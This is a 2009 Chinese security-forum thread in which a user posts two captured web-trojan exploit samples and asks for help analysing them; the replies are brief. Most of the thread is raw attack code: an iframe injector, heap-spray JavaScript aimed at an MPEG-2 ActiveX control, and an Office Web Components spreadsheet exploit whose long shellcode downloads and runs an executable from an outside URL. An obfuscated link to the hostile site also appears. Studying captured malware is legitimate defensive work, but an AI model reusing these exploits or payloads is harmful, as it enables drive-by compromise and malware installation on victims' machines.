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  2. 《0day:软件漏洞分析技术》
    3. 发新帖
[讨论]关于两个流行0day网马样本分析
发表于: 2009-7-15 00:02 25846

[讨论]关于两个流行0day网马样本分析

漂亮宝贝 活跃值
2009-7-15 00:02
25846
failwest兄:
   您好,仔细拜读了您的大作,书中对于heap spray技术的论述很精彩,但是深度还不够,例子太少了.在最近流行的几个0day网马中,该技术发挥的淋漓尽致,但是有些细节还是迷茫,我抓了2个0day网马样本,希望您能抽时间给示范分析一下好吗?

[NOTE]以下网页地址危险,请论坛会员不要随便点击!!!
681K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3N6Z5k6X3c8Y4K9r3N6V1k6$3S2V1i4K6u0W2j5$3&6Q4x3V1k6A6L8X3c8W2P5q4)9J5k6h3S2@1L8h3H3`.
<iframe src=[B]test.htm[/B] width=10 height=10></iframe>
<script>
pingfan = "<iframe src=[B]of.htm [/B]width=10 height=10></iframe>"
setTimeout("document.write(pingfan)", 8000 );
</script>


NOTE:
test.htm- MPEG-2视频漏洞0day
of.htm - 最新Office漏洞0day

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课

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漂亮宝贝
雪    币： 203
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
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f76K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3N6Z5k6X3c8Y4K9r3N6V1k6$3S2V1i4K6u0W2j5$3&6Q4x3V1k6@1k6i4y4@1i4K6u0W2K9s2c8E0

<html> 
<body>  
<div id="DivID"> 
<script src='go.jpg'></script>
<script src='go1.jpg'></script>
</body> 
</html>

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var headersize=20;
bbbbs = 'clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
seee = '9090';
saaa ='%u9';
skkk ='090%u';
sxxx = saaa + skkk + seee;
var omybro=unescape(sxxx);
var slackspace=headersize+dashell.length;
while(omybro.length<slackspace) omybro+=omybro;
bZmybr=omybro.substring(0,slackspace);
wjsccccccg=omybro.substring(0,omybro.length-slackspace);
while(wjsccccccg.length+slackspace<0x30000) wjsccccccg=wjsccccccg+wjsccccccg+bZmybr;
memory=new Array();
for(x=0;x<300;x++) memory[x]=wjsccccccg+dashell;
var myObject=document.createElement('object');
DivID.appendChild(myObject);
myObject.width='1';
myObject.height='1';
myObject.data='./logo.gif';
myObject.classid=bbbbs;
2009-7-15 00:04
0
漂亮宝贝
雪    币： 203
活跃值： (10)
能力值： ( LV2，RANK：10 )
在线值：
发帖
回帖
粉丝
私信
3 楼 
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<script src="a.js"></script>
<script language="JavaScript">
var c=s+u;
var array = new Array();
var ls = 0x81000-(c.length*2);
var b = pingfan("%u0b0c%u0b0C");
while(b.length<ls/2){b+=b;}var lh = b.substring(0,ls/2);
delete b;
for(i=0;i<0x99*2;i++) { array[i] = lh + lh + c;}CollectGarbage();
var obj = new ActiveXObject("OWC10.Spreadsheet");
e=new Array();
e.push(1);
e.push(2);
e.push(0);
e.push(window);
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</script>

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s+=pingfan("%u0003%u8B00%uE8F8%u0038%u0000%u64E8%u0001%uE800%u0046%u0000%uF2E8%u0003%u8B00%uE8F8%u0022%u0000%u5BE8%u0001%uE800");
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s+=pingfan("%u7490%u5506%uEC8B%u408D%uFF05%uE8E0%uFF17%uFFFF%uE8C3%uFF11%uFFFF%u11B8%u0401%uC280%u000C%u04E8%uFFFF");
s+=pingfan("%u33FF%u50C0%uE854%u0054%u0000%uE850%u028B%u0000%uD0FF%u8036%u243C%u7700%uE80A%u0241%u0000%uFF33%uFF57");
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s+=pingfan("%uB9E9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u3368%u0032%u6800%u7375%u7265%u15EB%u448D%u0424%uE850%uFDBA");
s+=pingfan("%uFFFF%uE850%u01F9%u0000%u8FE9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u6368%u7776%u6800%u6873%u6F64%u15EB");
s+=pingfan("%u448D%u0424%uE850%uFD90%uFFFF%uE850%u01CF%u0000%u65E9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u7668%u7867");
s+=pingfan("%uEB00%u8D15%u2444%u5004%u6BE8%uFFFD%u50FF%uAAE8%u0001%uE900%uFE40%uFFFF%uE6E8%uFFFF%u83FF%u04C4%uE8C3");
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s+=pingfan("%u8300%u08C4%uE8C3%u0183%u0000%uAA68%u0DFC%u507C%u9EE8%u0001%u8300%u08C4%uE8C3%u016F%u0000%uED68%uEF56");
s+=pingfan("%u5036%u8AE8%u0001%u8300%u08C4%uE8C3%u015B%u0000%uF068%u048A%u505F%u76E8%u0001%u8300%u08C4%uE8C3%uFEF7");
s+=pingfan("%uFFFF%u7868%uDB68%u501C%u62E8%u0001%u8300%u08C4%uE8C3%u0133%u0000%uEF68%uE0CE%u5060%u4EE8%u0001%u8300");
s+=pingfan("%u08C4%uE8C3%u011F%u0000%uB068%u2D49%u50DB%u3AE8%u0001%u8300%u08C4%uE8C3%uFF36%uFFFF%uAB68%u9B5E%u501E");
s+=pingfan("%u26E8%u0001%u8300%u08C4%uE8C3%uFEA7%uFFFF%u5968%u8197%u5002%u12E8%u0001%u8300%u08C4%uE8C3%u00E3%u0000");
s+=pingfan("%u7E68%uE2D8%u5073%uFEE8%u0000%u8300%u08C4%uE8C3%u00CF%u0000%u9E68%uBBF9%u5035%uEAE8%u0000%u8300%u08C4");
s+=pingfan("%uE8C3%uFE92%uFFFF%u5768%uB5A0%u50BB%uD6E8%u0000%u8300%u08C4%uE8C3%uFE7E%uFFFF%u1A68%u1E7A%u5002%uC2E8%u0000");
s+=pingfan("%u8300%u08C4%uE8C3%uFE6A%uFFFF%uE068%u305B%u5094%uAEE8%u0000%u8300%u08C4%uE8C3%uFE56%uFFFF%u9768%uE2C9");
s+=pingfan("%u50A3%u9AE8%u0000%u8300%u08C4%uE8C3%uFE42%uFFFF%u6868%uC524%u50B3%u86E8%u0000%u8300%u08C4%uE8C3%u0057");
s+=pingfan("%u0000%u7268%uB3FE%u5016%u72E8%u0000%u8300%u08C4%uE8C3%uFE44%uFFFF%u13EB%u656A%uE850%uFBE0%uFFFF%uE850");
s+=pingfan("%uFEAB%uFFFF%uB5E9%uFFFC%uE8FF%uFFE8%uFFFF%uE8C3%uFDA9%uFFFF%u4F68%u4FEF%u5005%u3EE8%u0000%u8300%u08C4");
s+=pingfan("%uE8C3%u000F%u0000%u8E68%u0E4E%u50EC%u2AE8%u0000%u8300%u08C4%u33C3%u64C0%u408B%u8530%u78C0%u3E10%u408B");
s+=pingfan("%u3E0C%u708B%uAD1C%u8B3E%u0840%uEBC3%u3E0B%u408B%u8334%u7CC0%u8B3E%u3C40%u60C3%u8B36%u246C%u3624%u458B");
s+=pingfan("%u363C%u548B%u7828%uD503%u8B3E%u184A%u8B3E%u205A%uDD03%u3BE3%u3E49%u348B%u038B%u33F5%u33FF%uFCC0%u84AC");
s+=pingfan("%u74C0%uC107%u0DCF%uF803%uF4EB%u3B36%u247C%u7528%u3EDF%u5A8B%u0324%u66DD%u8B3E%u4B0C%u8B3E%u1C5A%uDD03");
s+=pingfan("%u8B3E%u8B04%uC503%u8936%u2444%u611C%uE8C3%uFB4F%uFFFF");
var u=pingfan("%u7468%u7074%u2F3A%u772F%u7777%u662E%u6164%u6673%u6461%u2E66%u6E63%u6E2F%u7765%u652E%u6578%u0000");
2009-7-15 00:12
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ttlone
雪    币： 202
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4 楼
支持，我昨天也抓到了，但是分析不来，哈哈
2009-7-17 13:08
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漂亮宝贝
雪    币： 203
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看了BlackHat的专题资料，对heap spray技术有了完整透彻的了解，原来0day书中的例子也是引用自BlackHat专题资料。MSF3.2中已经包含了该技术。
2009-8-27 13:07
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零时
雪    币： 225
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哈哈，分析的不错嘛!
哈哈
2009-8-31 17:58
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